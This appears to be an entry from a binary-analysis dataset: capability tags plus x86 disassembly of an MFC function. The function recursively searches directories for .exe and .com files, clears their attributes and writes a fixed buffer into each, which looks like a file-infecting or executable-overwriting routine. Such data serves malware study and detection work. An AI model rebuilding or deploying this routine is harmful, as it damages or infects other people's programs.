Function at 0x402893
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov dword [ebp - 0x10], ecx
push edi
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::CFileFind
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::CString_3
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
mov edi, dword [sym.imp.MSVCRT.dll__mbscmp]
mov esi, 0x405094
push esi
push eax
call edi
pop ecx
pop ecx
test eax, eax
lea ecx, [ebp - 0xc]
setne bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x4028ee
push esi
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::operator_1
push 0x4050b4
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::operator_1
push 0
push dword [ebp - 8]
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x402a99
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x34]
push 0x10
lea ecx, [ebp - 0x34]
call dword [eax + 0x40]
test eax, eax
je 0x402953
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x402953
push ecx
push esp
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov ecx, dword [ebp - 0x10]
call fcn.00402893
jmp 0x402a8f
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x402a8f
mov eax, dword [ebp - 0x34]
push 0x10
lea ecx, [ebp - 0x34]
call dword [eax + 0x40]
test eax, eax
jne 0x402a8f
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::GetFilePath
push 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::Right
lea ecx, [ebp - 0xc]
call sub.MFC42.DLL_CString::MakeLower
push str..exe
push dword [ebp - 0xc]
call edi
test eax, eax
pop ecx
pop ecx
je 0x4029bc
push str..com
push dword [ebp - 0xc]
call edi
test eax, eax
pop ecx
pop ecx
jne 0x402a7f
inc dword [0x42de70]
cmp byte [0x42de6c], 0
je 0x4029e6
push ecx
lea eax, [ebp - 4]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_3
mov ecx, dword [ebp - 0x10]
call fcn.00401a3c
push 0x64
jmp 0x402a7d
and dword [0x42de74], 0xfffffffe
push dword [0x42de74]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x40504c
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x402a7f
push esi
push dword [0x4051ac]
push 1
push 0x40d5b8
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [0x405030]
add esp, 0x14
inc eax
cmp eax, 0x80
mov dword [0x405030], eax
jge 0x402a78
lea ecx, [ebp - 4]
push ecx
lea ecx, [eax*4 + 0x4053b4]
call sub.MFC42.DLL_CString::operator_3
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::GetFileName
push eax
mov eax, dword [0x405030]
lea ecx, [eax*4 + 0x4051b4]
call sub.MFC42.DLL_CString::operator_3
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
push 0xc8
call ebx
lea ecx, [ebp - 0xc]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
cmp dword [ebp - 0x18], 0
jne 0x402916
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x34]
call fcn.00402f0a
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
pop ebx
leave
ret 4